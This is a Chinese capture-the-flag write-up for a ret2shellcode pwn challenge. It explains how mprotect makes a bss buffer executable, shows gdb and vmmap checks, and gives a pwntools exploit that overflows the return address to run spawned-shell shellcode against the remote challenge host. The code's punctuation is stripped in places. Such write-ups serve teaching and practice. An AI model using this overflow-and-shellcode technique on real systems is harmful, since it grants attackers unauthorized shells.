首先checksec一下如下图根据题目就可以知道这道题考的是ret2shellcode了注意一下这边nx保护是开启的接着利用ida分析一下附件进入main函数分析如下注意nx保护开启所以这边的mprotect函数需要额外关注一下进入buff观察看下可以知道buff在bss段存储且我们知道地址这边我们通过gdb调试来查看经过mprotect函数后的各段情况断点打在0x401220然后按n单步调试期间可以通过vmmap查看内存情况可以得到以下两张图的对比我们知道buff在bss段而且地址是0x4040a0也就是介于0x404000和0x405000之间后面可以看到该内存权限由rw变为了rwx也就是可以执行了那么这个时候注入的shellcode就可以执行了从而获取shellexp如下from pwn import *context(log_leveldebug,archamd64)p remote(node5.anna.nssctf.cn,27979)shellcodeasm(shellcraft.sh())buff_addr 0x4040a0bias 0x1000x8payload shellcode.ljust(bias,ba)p64(buff_addr)p.sendline(payload)p.interactive()这边我来解释一下payload shellcode.ljust(bias,ba) p64(buff_addr) 这一行的意思上面已经定义好了shellcode和bias的值大概意思就是将shellcode左对齐补满bias个长度如果不够就用a填补上大概攻击思路read函数读入字符串这边通过将shellcode存储到s数组中然后再是溢出将main函数的返回地址修改为buff的地址由于main函数中会将s的内容复制给buff所以main函数运行结束后buff中会有shellcode此时由于返回地址被覆盖为了buff的地址此时就会执行shellcode攻击奏效可以获得shell。。。